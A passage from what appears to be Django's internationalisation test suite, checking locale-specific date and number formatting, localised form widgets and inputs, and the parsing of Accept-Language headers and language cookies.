                '<option value="11">novembre</option>'
                '<option value="12" selected="selected">desembre</option>'
                '</select>'
                '<select name="mydate_day" id="id_mydate_day">'
                '<option value="0">---</option>'
                '<option value="1">1</option>'
                '<option value="2">2</option>'
                '<option value="3">3</option>'
                '<option value="4">4</option>'
                '<option value="5">5</option>'
                '<option value="6">6</option>'
                '<option value="7">7</option>'
                '<option value="8">8</option>'
                '<option value="9">9</option>'
                '<option value="10">10</option>'
                '<option value="11">11</option>'
                '<option value="12">12</option>'
                '<option value="13">13</option>'
                '<option value="14">14</option>'
                '<option value="15">15</option>'
                '<option value="16">16</option>'
                '<option value="17">17</option>'
                '<option value="18">18</option>'
                '<option value="19">19</option>'
                '<option value="20">20</option>'
                '<option value="21">21</option>'
                '<option value="22">22</option>'
                '<option value="23">23</option>'
                '<option value="24">24</option>'
                '<option value="25">25</option>'
                '<option value="26">26</option>'
                '<option value="27">27</option>'
                '<option value="28">28</option>'
                '<option value="29">29</option>'
                '<option value="30">30</option>'
                '<option value="31" selected="selected">31</option>'
                '</select>'
                '<select name="mydate_year" id="id_mydate_year">'
                '<option value="0">---</option>'
                '<option value="2009" selected="selected">2009</option>'
                '<option value="2010">2010</option>'
                '<option value="2011">2011</option>'
                '<option value="2012">2012</option>'
                '<option value="2013">2013</option>'
                '<option value="2014">2014</option>'
                '<option value="2015">2015</option>'
                '<option value="2016">2016</option>'
                '<option value="2017">2017</option>'
                '<option value="2018">2018</option>'
                '</select>',
                forms.SelectDateWidget(years=range(2009, 2019)).render('mydate', datetime.date(2009, 12, 31))
            )

            # We shouldn't change the behavior of the floatformat filter re:
            # thousand separator and grouping when USE_L10N is False even
            # if the USE_THOUSAND_SEPARATOR, NUMBER_GROUPING and
            # THOUSAND_SEPARATOR settings are specified
            with self.settings(USE_THOUSAND_SEPARATOR=True, NUMBER_GROUPING=1, THOUSAND_SEPARATOR='!'):
                self.assertEqual('66666.67', Template('{{ n|floatformat:2 }}').render(self.ctxt))
                self.assertEqual('100000.0', Template('{{ f|floatformat }}').render(self.ctxt))

    def test_false_like_locale_formats(self):
        """
        Ensure that the active locale's formats take precedence over the
        default settings even if they would be interpreted as False in a
        conditional test (e.g. 0 or empty string).
        Refs #16938.
        """
        with patch_formats('fr', THOUSAND_SEPARATOR='', FIRST_DAY_OF_WEEK=0):
            with translation.override('fr'):
                with self.settings(USE_THOUSAND_SEPARATOR=True, THOUSAND_SEPARATOR='!'):
                    self.assertEqual('', get_format('THOUSAND_SEPARATOR'))
                    # Even a second time (after the format has been cached)...
                    self.assertEqual('', get_format('THOUSAND_SEPARATOR'))

                with self.settings(FIRST_DAY_OF_WEEK=1):
                    self.assertEqual(0, get_format('FIRST_DAY_OF_WEEK'))
                    # Even a second time (after the format has been cached)...
                    self.assertEqual(0, get_format('FIRST_DAY_OF_WEEK'))

    def test_l10n_enabled(self):
        self.maxDiff = 3000
        # Catalan locale
        with translation.override('ca', deactivate=True):
            self.assertEqual('j \d\e F \d\e Y', get_format('DATE_FORMAT'))
            self.assertEqual(1, get_format('FIRST_DAY_OF_WEEK'))
            self.assertEqual(',', get_format('DECIMAL_SEPARATOR'))
            self.assertEqual('10:15', time_format(self.t))
            self.assertEqual('31 de desembre de 2009', date_format(self.d))
            self.assertEqual('desembre del 2009', date_format(self.d, 'YEAR_MONTH_FORMAT'))
            self.assertEqual('31/12/2009 20:50', date_format(self.dt, 'SHORT_DATETIME_FORMAT'))
            self.assertEqual('No localizable', localize('No localizable'))

            with self.settings(USE_THOUSAND_SEPARATOR=True):
                self.assertEqual('66.666,666', localize(self.n))
                self.assertEqual('99.999,999', localize(self.f))
                self.assertEqual('10.000', localize(self.l))
                self.assertEqual('True', localize(True))

            with self.settings(USE_THOUSAND_SEPARATOR=False):
                self.assertEqual('66666,666', localize(self.n))
                self.assertEqual('99999,999', localize(self.f))
                self.assertEqual('10000', localize(self.l))
                self.assertEqual('31 de desembre de 2009', localize(self.d))
                self.assertEqual('31 de desembre de 2009 a les 20:50', localize(self.dt))

            with self.settings(USE_THOUSAND_SEPARATOR=True):
                self.assertEqual('66.666,666', Template('{{ n }}').render(self.ctxt))
                self.assertEqual('99.999,999', Template('{{ f }}').render(self.ctxt))
                self.assertEqual('10.000', Template('{{ l }}').render(self.ctxt))

            with self.settings(USE_THOUSAND_SEPARATOR=True):
                form3 = I18nForm({
                    'decimal_field': '66.666,666',
                    'float_field': '99.999,999',
                    'date_field': '31/12/2009',
                    'datetime_field': '31/12/2009 20:50',
                    'time_field': '20:50',
                    'integer_field': '1.234',
                })
                self.assertTrue(form3.is_valid())
                self.assertEqual(decimal.Decimal('66666.666'), form3.cleaned_data['decimal_field'])
                self.assertEqual(99999.999, form3.cleaned_data['float_field'])
                self.assertEqual(datetime.date(2009, 12, 31), form3.cleaned_data['date_field'])
                self.assertEqual(datetime.datetime(2009, 12, 31, 20, 50), form3.cleaned_data['datetime_field'])
                self.assertEqual(datetime.time(20, 50), form3.cleaned_data['time_field'])
                self.assertEqual(1234, form3.cleaned_data['integer_field'])

            with self.settings(USE_THOUSAND_SEPARATOR=False):
                self.assertEqual('66666,666', Template('{{ n }}').render(self.ctxt))
                self.assertEqual('99999,999', Template('{{ f }}').render(self.ctxt))
                self.assertEqual('31 de desembre de 2009', Template('{{ d }}').render(self.ctxt))
                self.assertEqual('31 de desembre de 2009 a les 20:50', Template('{{ dt }}').render(self.ctxt))
                self.assertEqual('66666,67', Template('{{ n|floatformat:2 }}').render(self.ctxt))
                self.assertEqual('100000,0', Template('{{ f|floatformat }}').render(self.ctxt))
                self.assertEqual('10:15', Template('{{ t|time:"TIME_FORMAT" }}').render(self.ctxt))
                self.assertEqual('31/12/2009', Template('{{ d|date:"SHORT_DATE_FORMAT" }}').render(self.ctxt))
                self.assertEqual(
                    '31/12/2009 20:50',
                    Template('{{ dt|date:"SHORT_DATETIME_FORMAT" }}').render(self.ctxt)
                )
                self.assertEqual(date_format(datetime.datetime.now(), "DATE_FORMAT"),
                                 Template('{% now "DATE_FORMAT" %}').render(self.ctxt))

            with self.settings(USE_THOUSAND_SEPARATOR=False):
                form4 = I18nForm({
                    'decimal_field': '66666,666',
                    'float_field': '99999,999',
                    'date_field': '31/12/2009',
                    'datetime_field': '31/12/2009 20:50',
                    'time_field': '20:50',
                    'integer_field': '1234',
                })
                self.assertTrue(form4.is_valid())
                self.assertEqual(decimal.Decimal('66666.666'), form4.cleaned_data['decimal_field'])
                self.assertEqual(99999.999, form4.cleaned_data['float_field'])
                self.assertEqual(datetime.date(2009, 12, 31), form4.cleaned_data['date_field'])
                self.assertEqual(datetime.datetime(2009, 12, 31, 20, 50), form4.cleaned_data['datetime_field'])
                self.assertEqual(datetime.time(20, 50), form4.cleaned_data['time_field'])
                self.assertEqual(1234, form4.cleaned_data['integer_field'])

            form5 = SelectDateForm({
                'date_field_month': '12',
                'date_field_day': '31',
                'date_field_year': '2009'
            })
            self.assertTrue(form5.is_valid())
            self.assertEqual(datetime.date(2009, 12, 31), form5.cleaned_data['date_field'])
            self.assertHTMLEqual(
                '<select name="mydate_day" id="id_mydate_day">'
                '<option value="0">---</option>'
                '<option value="1">1</option>'
                '<option value="2">2</option>'
                '<option value="3">3</option>'
                '<option value="4">4</option>'
                '<option value="5">5</option>'
                '<option value="6">6</option>'
                '<option value="7">7</option>'
                '<option value="8">8</option>'
                '<option value="9">9</option>'
                '<option value="10">10</option>'
                '<option value="11">11</option>'
                '<option value="12">12</option>'
                '<option value="13">13</option>'
                '<option value="14">14</option>'
                '<option value="15">15</option>'
                '<option value="16">16</option>'
                '<option value="17">17</option>'
                '<option value="18">18</option>'
                '<option value="19">19</option>'
                '<option value="20">20</option>'
                '<option value="21">21</option>'
                '<option value="22">22</option>'
                '<option value="23">23</option>'
                '<option value="24">24</option>'
                '<option value="25">25</option>'
                '<option value="26">26</option>'
                '<option value="27">27</option>'
                '<option value="28">28</option>'
                '<option value="29">29</option>'
                '<option value="30">30</option>'
                '<option value="31" selected="selected">31</option>'
                '</select>'
                '<select name="mydate_month" id="id_mydate_month">'
                '<option value="0">---</option>'
                '<option value="1">gener</option>'
                '<option value="2">febrer</option>'
                '<option value="3">mar\xe7</option>'
                '<option value="4">abril</option>'
                '<option value="5">maig</option>'
                '<option value="6">juny</option>'
                '<option value="7">juliol</option>'
                '<option value="8">agost</option>'
                '<option value="9">setembre</option>'
                '<option value="10">octubre</option>'
                '<option value="11">novembre</option>'
                '<option value="12" selected="selected">desembre</option>'
                '</select>'
                '<select name="mydate_year" id="id_mydate_year">'
                '<option value="0">---</option>'
                '<option value="2009" selected="selected">2009</option>'
                '<option value="2010">2010</option>'
                '<option value="2011">2011</option>'
                '<option value="2012">2012</option>'
                '<option value="2013">2013</option>'
                '<option value="2014">2014</option>'
                '<option value="2015">2015</option>'
                '<option value="2016">2016</option>'
                '<option value="2017">2017</option>'
                '<option value="2018">2018</option>'
                '</select>',
                forms.SelectDateWidget(years=range(2009, 2019)).render('mydate', datetime.date(2009, 12, 31))
            )

        # Russian locale (with E as month)
        with translation.override('ru', deactivate=True):
            self.assertHTMLEqual(
                '<select name="mydate_day" id="id_mydate_day">'
                '<option value="0">---</option>'
                '<option value="1">1</option>'
                '<option value="2">2</option>'
                '<option value="3">3</option>'
                '<option value="4">4</option>'
                '<option value="5">5</option>'
                '<option value="6">6</option>'
                '<option value="7">7</option>'
                '<option value="8">8</option>'
                '<option value="9">9</option>'
                '<option value="10">10</option>'
                '<option value="11">11</option>'
                '<option value="12">12</option>'
                '<option value="13">13</option>'
                '<option value="14">14</option>'
                '<option value="15">15</option>'
                '<option value="16">16</option>'
                '<option value="17">17</option>'
                '<option value="18">18</option>'
                '<option value="19">19</option>'
                '<option value="20">20</option>'
                '<option value="21">21</option>'
                '<option value="22">22</option>'
                '<option value="23">23</option>'
                '<option value="24">24</option>'
                '<option value="25">25</option>'
                '<option value="26">26</option>'
                '<option value="27">27</option>'
                '<option value="28">28</option>'
                '<option value="29">29</option>'
                '<option value="30">30</option>'
                '<option value="31" selected="selected">31</option>'
                '</select>'
                '<select name="mydate_month" id="id_mydate_month">'
                '<option value="0">---</option>'
                '<option value="1">\u042f\u043d\u0432\u0430\u0440\u044c</option>'
                '<option value="2">\u0424\u0435\u0432\u0440\u0430\u043b\u044c</option>'
                '<option value="3">\u041c\u0430\u0440\u0442</option>'
                '<option value="4">\u0410\u043f\u0440\u0435\u043b\u044c</option>'
                '<option value="5">\u041c\u0430\u0439</option>'
                '<option value="6">\u0418\u044e\u043d\u044c</option>'
                '<option value="7">\u0418\u044e\u043b\u044c</option>'
                '<option value="8">\u0410\u0432\u0433\u0443\u0441\u0442</option>'
                '<option value="9">\u0421\u0435\u043d\u0442\u044f\u0431\u0440\u044c</option>'
                '<option value="10">\u041e\u043a\u0442\u044f\u0431\u0440\u044c</option>'
                '<option value="11">\u041d\u043e\u044f\u0431\u0440\u044c</option>'
                '<option value="12" selected="selected">\u0414\u0435\u043a\u0430\u0431\u0440\u044c</option>'
                '</select>'
                '<select name="mydate_year" id="id_mydate_year">'
                '<option value="0">---</option>'
                '<option value="2009" selected="selected">2009</option>'
                '<option value="2010">2010</option>'
                '<option value="2011">2011</option>'
                '<option value="2012">2012</option>'
                '<option value="2013">2013</option>'
                '<option value="2014">2014</option>'
                '<option value="2015">2015</option>'
                '<option value="2016">2016</option>'
                '<option value="2017">2017</option>'
                '<option value="2018">2018</option>'
                '</select>',
                forms.SelectDateWidget(years=range(2009, 2019)).render('mydate', datetime.date(2009, 12, 31))
            )

        # English locale
        with translation.override('en', deactivate=True):
            self.assertEqual('N j, Y', get_format('DATE_FORMAT'))
            self.assertEqual(0, get_format('FIRST_DAY_OF_WEEK'))
            self.assertEqual('.', get_format('DECIMAL_SEPARATOR'))
            self.assertEqual('Dec. 31, 2009', date_format(self.d))
            self.assertEqual('December 2009', date_format(self.d, 'YEAR_MONTH_FORMAT'))
            self.assertEqual('12/31/2009 8:50 p.m.', date_format(self.dt, 'SHORT_DATETIME_FORMAT'))
            self.assertEqual('No localizable', localize('No localizable'))

            with self.settings(USE_THOUSAND_SEPARATOR=True):
                self.assertEqual('66,666.666', localize(self.n))
                self.assertEqual('99,999.999', localize(self.f))
                self.assertEqual('10,000', localize(self.l))

            with self.settings(USE_THOUSAND_SEPARATOR=False):
                self.assertEqual('66666.666', localize(self.n))
                self.assertEqual('99999.999', localize(self.f))
                self.assertEqual('10000', localize(self.l))
                self.assertEqual('Dec. 31, 2009', localize(self.d))
                self.assertEqual('Dec. 31, 2009, 8:50 p.m.', localize(self.dt))

            with self.settings(USE_THOUSAND_SEPARATOR=True):
                self.assertEqual('66,666.666', Template('{{ n }}').render(self.ctxt))
                self.assertEqual('99,999.999', Template('{{ f }}').render(self.ctxt))
                self.assertEqual('10,000', Template('{{ l }}').render(self.ctxt))

            with self.settings(USE_THOUSAND_SEPARATOR=False):
                self.assertEqual('66666.666', Template('{{ n }}').render(self.ctxt))
                self.assertEqual('99999.999', Template('{{ f }}').render(self.ctxt))
                self.assertEqual('Dec. 31, 2009', Template('{{ d }}').render(self.ctxt))
                self.assertEqual('Dec. 31, 2009, 8:50 p.m.', Template('{{ dt }}').render(self.ctxt))
                self.assertEqual('66666.67', Template('{{ n|floatformat:2 }}').render(self.ctxt))
                self.assertEqual('100000.0', Template('{{ f|floatformat }}').render(self.ctxt))
                self.assertEqual('12/31/2009', Template('{{ d|date:"SHORT_DATE_FORMAT" }}').render(self.ctxt))
                self.assertEqual(
                    '12/31/2009 8:50 p.m.',
                    Template('{{ dt|date:"SHORT_DATETIME_FORMAT" }}').render(self.ctxt)
                )

            form5 = I18nForm({
                'decimal_field': '66666.666',
                'float_field': '99999.999',
                'date_field': '12/31/2009',
                'datetime_field': '12/31/2009 20:50',
                'time_field': '20:50',
                'integer_field': '1234',
            })
            self.assertTrue(form5.is_valid())
            self.assertEqual(decimal.Decimal('66666.666'), form5.cleaned_data['decimal_field'])
            self.assertEqual(99999.999, form5.cleaned_data['float_field'])
            self.assertEqual(datetime.date(2009, 12, 31), form5.cleaned_data['date_field'])
            self.assertEqual(datetime.datetime(2009, 12, 31, 20, 50), form5.cleaned_data['datetime_field'])
            self.assertEqual(datetime.time(20, 50), form5.cleaned_data['time_field'])
            self.assertEqual(1234, form5.cleaned_data['integer_field'])

            form6 = SelectDateForm({
                'date_field_month': '12',
                'date_field_day': '31',
                'date_field_year': '2009'
            })
            self.assertTrue(form6.is_valid())
            self.assertEqual(datetime.date(2009, 12, 31), form6.cleaned_data['date_field'])
            self.assertHTMLEqual(
                '<select name="mydate_month" id="id_mydate_month">'
                '<option value="0">---</option>'
                '<option value="1">January</option>'
                '<option value="2">February</option>'
                '<option value="3">March</option>'
                '<option value="4">April</option>'
                '<option value="5">May</option>'
                '<option value="6">June</option>'
                '<option value="7">July</option>'
                '<option value="8">August</option>'
                '<option value="9">September</option>'
                '<option value="10">October</option>'
                '<option value="11">November</option>'
                '<option value="12" selected="selected">December</option>'
                '</select>'
                '<select name="mydate_day" id="id_mydate_day">'
                '<option value="0">---</option>'
                '<option value="1">1</option>'
                '<option value="2">2</option>'
                '<option value="3">3</option>'
                '<option value="4">4</option>'
                '<option value="5">5</option>'
                '<option value="6">6</option>'
                '<option value="7">7</option>'
                '<option value="8">8</option>'
                '<option value="9">9</option>'
                '<option value="10">10</option>'
                '<option value="11">11</option>'
                '<option value="12">12</option>'
                '<option value="13">13</option>'
                '<option value="14">14</option>'
                '<option value="15">15</option>'
                '<option value="16">16</option>'
                '<option value="17">17</option>'
                '<option value="18">18</option>'
                '<option value="19">19</option>'
                '<option value="20">20</option>'
                '<option value="21">21</option>'
                '<option value="22">22</option>'
                '<option value="23">23</option>'
                '<option value="24">24</option>'
                '<option value="25">25</option>'
                '<option value="26">26</option>'
                '<option value="27">27</option>'
                '<option value="28">28</option>'
                '<option value="29">29</option>'
                '<option value="30">30</option>'
                '<option value="31" selected="selected">31</option>'
                '</select>'
                '<select name="mydate_year" id="id_mydate_year">'
                '<option value="0">---</option>'
                '<option value="2009" selected="selected">2009</option>'
                '<option value="2010">2010</option>'
                '<option value="2011">2011</option>'
                '<option value="2012">2012</option>'
                '<option value="2013">2013</option>'
                '<option value="2014">2014</option>'
                '<option value="2015">2015</option>'
                '<option value="2016">2016</option>'
                '<option value="2017">2017</option>'
                '<option value="2018">2018</option>'
                '</select>',
                forms.SelectDateWidget(years=range(2009, 2019)).render('mydate', datetime.date(2009, 12, 31))
            )

    def test_sub_locales(self):
        """
        Check if sublocales fall back to the main locale
        """
        with self.settings(USE_THOUSAND_SEPARATOR=True):
            with translation.override('de-at', deactivate=True):
                self.assertEqual('66.666,666', Template('{{ n }}').render(self.ctxt))
            with translation.override('es-us', deactivate=True):
                self.assertEqual('31 de Diciembre de 2009', date_format(self.d))

    def test_localized_input(self):
        """
        Tests if form input is correctly localized
        """
        self.maxDiff = 1200
        with translation.override('de-at', deactivate=True):
            form6 = CompanyForm({
                'name': 'acme',
                'date_added': datetime.datetime(2009, 12, 31, 6, 0, 0),
                'cents_paid': decimal.Decimal('59.47'),
                'products_delivered': 12000,
            })
            self.assertTrue(form6.is_valid())
            self.assertHTMLEqual(
                form6.as_ul(),
                '<li><label for="id_name">Name:</label>'
                '<input id="id_name" type="text" name="name" value="acme" maxlength="50" required /></li>'
                '<li><label for="id_date_added">Date added:</label>'
                '<input type="text" name="date_added" value="31.12.2009 06:00:00" id="id_date_added" required /></li>'
                '<li><label for="id_cents_paid">Cents paid:</label>'
                '<input type="text" name="cents_paid" value="59,47" id="id_cents_paid" required /></li>'
                '<li><label for="id_products_delivered">Products delivered:</label>'
                '<input type="text" name="products_delivered" value="12000" id="id_products_delivered" required />'
                '</li>'
            )
            self.assertEqual(localize_input(datetime.datetime(2009, 12, 31, 6, 0, 0)), '31.12.2009 06:00:00')
            self.assertEqual(datetime.datetime(2009, 12, 31, 6, 0, 0), form6.cleaned_data['date_added'])
            with self.settings(USE_THOUSAND_SEPARATOR=True):
                # Checking for the localized "products_delivered" field
                self.assertInHTML(
                    '<input type="text" name="products_delivered" '
                    'value="12.000" id="id_products_delivered" required />',
                    form6.as_ul()
                )

    def test_localized_input_func(self):
        with self.settings(USE_THOUSAND_SEPARATOR=True):
            self.assertEqual(localize_input(True), 'True')

    def test_sanitize_separators(self):
        """
        Tests django.utils.formats.sanitize_separators.
        """
        # Non-strings are untouched
        self.assertEqual(sanitize_separators(123), 123)

        with translation.override('ru', deactivate=True):
            # Russian locale has non-breaking space (\xa0) as thousand separator
            # Check that usual space is accepted too when sanitizing inputs
            with self.settings(USE_THOUSAND_SEPARATOR=True):
                self.assertEqual(sanitize_separators('1\xa0234\xa0567'), '1234567')
                self.assertEqual(sanitize_separators('77\xa0777,777'), '77777.777')
                self.assertEqual(sanitize_separators('12 345'), '12345')
                self.assertEqual(sanitize_separators('77 777,777'), '77777.777')
            with self.settings(USE_THOUSAND_SEPARATOR=True, USE_L10N=False):
                self.assertEqual(sanitize_separators('12\xa0345'), '12\xa0345')

        with patch_formats(get_language(), THOUSAND_SEPARATOR='.', DECIMAL_SEPARATOR=','):
            with self.settings(USE_THOUSAND_SEPARATOR=True):
                self.assertEqual(sanitize_separators('10.234'), '10234')
                # Suspicion that user entered dot as decimal separator (#22171)
                self.assertEqual(sanitize_separators('10.10'), '10.10')

    def test_iter_format_modules(self):
        """
        Tests the iter_format_modules function.
        """
        # Importing some format modules so that we can compare the returned
        # modules with these expected modules
        default_mod = import_module('django.conf.locale.de.formats')
        test_mod = import_module('i18n.other.locale.de.formats')
        test_mod2 = import_module('i18n.other2.locale.de.formats')

        with translation.override('de-at', deactivate=True):
            # Should return the correct default module when no setting is set
            self.assertEqual(list(iter_format_modules('de')), [default_mod])

            # When the setting is a string, should return the given module and
            # the default module
            self.assertEqual(
                list(iter_format_modules('de', 'i18n.other.locale')),
                [test_mod, default_mod])

            # When setting is a list of strings, should return the given
            # modules and the default module
            self.assertEqual(
                list(iter_format_modules('de', ['i18n.other.locale', 'i18n.other2.locale'])),
                [test_mod, test_mod2, default_mod])

    def test_iter_format_modules_stability(self):
        """
        Tests the iter_format_modules function always yields format modules in
        a stable and correct order in presence of both base ll and ll_CC formats.
        """
        en_format_mod = import_module('django.conf.locale.en.formats')
        en_gb_format_mod = import_module('django.conf.locale.en_GB.formats')
        self.assertEqual(list(iter_format_modules('en-gb')), [en_gb_format_mod, en_format_mod])

    def test_get_format_modules_lang(self):
        with translation.override('de', deactivate=True):
            self.assertEqual('.', get_format('DECIMAL_SEPARATOR', lang='en'))

    def test_get_format_modules_stability(self):
        with self.settings(FORMAT_MODULE_PATH='i18n.other.locale'):
            with translation.override('de', deactivate=True):
                old = str("%r") % get_format_modules(reverse=True)
                new = str("%r") % get_format_modules(reverse=True)  # second try
                self.assertEqual(new, old, 'Value returned by get_formats_modules() must be preserved between calls.')

    def test_localize_templatetag_and_filter(self):
        """
        Tests the {% localize %} templatetag
        """
        context = Context({'value': 3.14})
        template1 = Template(
            '{% load l10n %}{% localize %}{{ value }}{% endlocalize %};'
            '{% localize on %}{{ value }}{% endlocalize %}'
        )
        template2 = Template("{% load l10n %}{{ value }};{% localize off %}{{ value }};{% endlocalize %}{{ value }}")
        template3 = Template('{% load l10n %}{{ value }};{{ value|unlocalize }}')
        template4 = Template('{% load l10n %}{{ value }};{{ value|localize }}')
        output1 = '3,14;3,14'
        output2 = '3,14;3.14;3,14'
        output3 = '3,14;3.14'
        output4 = '3.14;3,14'
        with translation.override('de', deactivate=True):
            with self.settings(USE_L10N=False):
                self.assertEqual(template1.render(context), output1)
                self.assertEqual(template4.render(context), output4)
            with self.settings(USE_L10N=True):
                self.assertEqual(template1.render(context), output1)
                self.assertEqual(template2.render(context), output2)
                self.assertEqual(template3.render(context), output3)

    def test_localized_as_text_as_hidden_input(self):
        """
        Tests if form input with 'as_hidden' or 'as_text' is correctly localized. Ticket #18777
        """
        self.maxDiff = 1200

        with translation.override('de-at', deactivate=True):
            template = Template('{% load l10n %}{{ form.date_added }}; {{ form.cents_paid }}')
            template_as_text = Template('{% load l10n %}{{ form.date_added.as_text }}; {{ form.cents_paid.as_text }}')
            template_as_hidden = Template(
                '{% load l10n %}{{ form.date_added.as_hidden }}; {{ form.cents_paid.as_hidden }}'
            )
            form = CompanyForm({
                'name': 'acme',
                'date_added': datetime.datetime(2009, 12, 31, 6, 0, 0),
                'cents_paid': decimal.Decimal('59.47'),
                'products_delivered': 12000,
            })
            context = Context({'form': form})
            self.assertTrue(form.is_valid())

            self.assertHTMLEqual(
                template.render(context),
                '<input id="id_date_added" name="date_added" type="text" value="31.12.2009 06:00:00" required />;'
                '<input id="id_cents_paid" name="cents_paid" type="text" value="59,47" required />'
            )
            self.assertHTMLEqual(
                template_as_text.render(context),
                '<input id="id_date_added" name="date_added" type="text" value="31.12.2009 06:00:00" required />;'
                ' <input id="id_cents_paid" name="cents_paid" type="text" value="59,47" required />'
            )
            self.assertHTMLEqual(
                template_as_hidden.render(context),
                '<input id="id_date_added" name="date_added" type="hidden" value="31.12.2009 06:00:00" />;'
                '<input id="id_cents_paid" name="cents_paid" type="hidden" value="59,47" />'
            )

    def test_format_arbitrary_settings(self):
        self.assertEqual(get_format('DEBUG'), 'DEBUG')

    def test_get_custom_format(self):
        with self.settings(FORMAT_MODULE_PATH='i18n.other.locale'):
            with translation.override('fr', deactivate=True):
                self.assertEqual('d/m/Y CUSTOM', get_format('CUSTOM_DAY_FORMAT'))


class MiscTests(SimpleTestCase):

    def setUp(self):
        super(MiscTests, self).setUp()
        self.rf = RequestFactory()

    @override_settings(LANGUAGE_CODE='de')
    def test_english_fallback(self):
        """
        With a non-English LANGUAGE_CODE and if the active language is English
        or one of its variants, the untranslated string should be returned
        (instead of falling back to LANGUAGE_CODE) (See #24413).
        """
        self.assertEqual(ugettext("Image"), "Bild")
        with translation.override('en'):
            self.assertEqual(ugettext("Image"), "Image")
        with translation.override('en-us'):
            self.assertEqual(ugettext("Image"), "Image")
        with translation.override('en-ca'):
            self.assertEqual(ugettext("Image"), "Image")

    def test_parse_spec_http_header(self):
        """
        Testing HTTP header parsing. First, we test that we can parse the
        values according to the spec (and that we extract all the pieces in
        the right order).
        """
        p = trans_real.parse_accept_lang_header
        # Good headers.
        self.assertEqual([('de', 1.0)], p('de'))
        self.assertEqual([('en-au', 1.0)], p('en-AU'))
        self.assertEqual([('es-419', 1.0)], p('es-419'))
        self.assertEqual([('*', 1.0)], p('*;q=1.00'))
        self.assertEqual([('en-au', 0.123)], p('en-AU;q=0.123'))
        self.assertEqual([('en-au', 0.5)], p('en-au;q=0.5'))
        self.assertEqual([('en-au', 1.0)], p('en-au;q=1.0'))
        self.assertEqual([('da', 1.0), ('en', 0.5), ('en-gb', 0.25)], p('da, en-gb;q=0.25, en;q=0.5'))
        self.assertEqual([('en-au-xx', 1.0)], p('en-au-xx'))
        self.assertEqual(
            [('de', 1.0), ('en-au', 0.75), ('en-us', 0.5), ('en', 0.25), ('es', 0.125), ('fa', 0.125)],
            p('de,en-au;q=0.75,en-us;q=0.5,en;q=0.25,es;q=0.125,fa;q=0.125')
        )
        self.assertEqual([('*', 1.0)], p('*'))
        self.assertEqual([('de', 0.0)], p('de;q=0.'))
        self.assertEqual([('en', 1.0), ('*', 0.5)], p('en; q=1.0, * ; q=0.5'))
        self.assertEqual([('en', 1.0)], p('en; q=1,'))
        self.assertEqual([], p(''))

        # Bad headers; should always return [].
        self.assertEqual([], p('en-gb;q=1.0000'))
        self.assertEqual([], p('en;q=0.1234'))
        self.assertEqual([], p('en;q=.2'))
        self.assertEqual([], p('abcdefghi-au'))
        self.assertEqual([], p('**'))
        self.assertEqual([], p('en,,gb'))
        self.assertEqual([], p('en-au;q=0.1.0'))
        self.assertEqual(
            [],
            p('XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXZ,en')
        )
        self.assertEqual([], p('da, en-gb;q=0.8, en;q=0.7,#'))
        self.assertEqual([], p('de;q=2.0'))
        self.assertEqual([], p('de;q=0.a'))
        self.assertEqual([], p('12-345'))
        self.assertEqual([], p(''))
        self.assertEqual([], p('en;q=1e0'))

    def test_parse_literal_http_header(self):
        """
        Now test that we parse a literal HTTP header correctly.
        """
        g = get_language_from_request
        r = self.rf.get('/')
        r.COOKIES = {}
        r.META = {'HTTP_ACCEPT_LANGUAGE': 'pt-br'}
        self.assertEqual('pt-br', g(r))

        r.META = {'HTTP_ACCEPT_LANGUAGE': 'pt'}
        self.assertEqual('pt', g(r))

        r.META = {'HTTP_ACCEPT_LANGUAGE': 'es,de'}
        self.assertEqual('es', g(r))

        r.META = {'HTTP_ACCEPT_LANGUAGE': 'es-ar,de'}
        self.assertEqual('es-ar', g(r))

        # This test assumes there won't be a Django translation to a US
        # variation of the Spanish language, a safe assumption. When the
        # user sets it as the preferred language, the main 'es'
        # translation should be selected instead.
        r.META = {'HTTP_ACCEPT_LANGUAGE': 'es-us'}
        self.assertEqual(g(r), 'es')

        # This tests the following scenario: there isn't a main language (zh)
        # translation of Django but there is a translation to variation (zh-hans)
        # the user sets zh-hans as the preferred language, it should be selected
        # by Django without falling back nor ignoring it.
        r.META = {'HTTP_ACCEPT_LANGUAGE': 'zh-hans,de'}
        self.assertEqual(g(r), 'zh-hans')

        r.META = {'HTTP_ACCEPT_LANGUAGE': 'NL'}
        self.assertEqual('nl', g(r))

        r.META = {'HTTP_ACCEPT_LANGUAGE': 'fy'}
        self.assertEqual('fy', g(r))

        r.META = {'HTTP_ACCEPT_LANGUAGE': 'ia'}
        self.assertEqual('ia', g(r))

        r.META = {'HTTP_ACCEPT_LANGUAGE': 'sr-latn'}
        self.assertEqual('sr-latn', g(r))

        r.META = {'HTTP_ACCEPT_LANGUAGE': 'zh-hans'}
        self.assertEqual('zh-hans', g(r))

        r.META = {'HTTP_ACCEPT_LANGUAGE': 'zh-hant'}
        self.assertEqual('zh-hant', g(r))

    @override_settings(
        LANGUAGES=[
            ('en', 'English'),
            ('zh-hans', 'Simplified Chinese'),
            ('zh-hant', 'Traditional Chinese'),
        ]
    )
    def test_support_for_deprecated_chinese_language_codes(self):
        """
        Some browsers (Firefox, IE, etc.) use deprecated language codes. As these
        language codes will be removed in Django 1.9, these will be incorrectly
        matched. For example zh-tw (traditional) will be interpreted as zh-hans
        (simplified), which is wrong. So we should also accept these deprecated
        language codes.

        refs #18419 -- this is explicitly for browser compatibility
        """
        g = get_language_from_request
        r = self.rf.get('/')
        r.COOKIES = {}
        r.META = {'HTTP_ACCEPT_LANGUAGE': 'zh-cn,en'}
        self.assertEqual(g(r), 'zh-hans')

        r.META = {'HTTP_ACCEPT_LANGUAGE': 'zh-tw,en'}
        self.assertEqual(g(r), 'zh-hant')

    def test_special_fallback_language(self):
        """
        Some languages may have special fallbacks that don't follow the simple
        'fr-ca' -> 'fr' logic (notably Chinese codes).
        """
        r = self.rf.get('/')
        r.COOKIES = {}
        r.META = {'HTTP_ACCEPT_LANGUAGE': 'zh-my,en'}
        self.assertEqual(get_language_from_request(r), 'zh-hans')

    def test_parse_language_cookie(self):
        """
        Now test that we parse language preferences stored in a cookie correctly.
        """
        g = get_language_from_request
        r = self.rf.get('/')
        r.COOKIES = {settings.LANGUAGE_COOKIE_NAME: 'pt-br'}
        r.META = {}
        self.assertEqual('pt-br', g(r))

        r.COOKIES = {settings.LANGUAGE_COOKIE_NAME: 'pt'}
        r.META = {}
        self.assertEqual('pt', g(r))

        r.COOKIES = {settings.LANGUAGE_COOKIE_NAME: 'es'}
        r.META = {'HTTP_ACCEPT_LANGUAGE': 'de'}
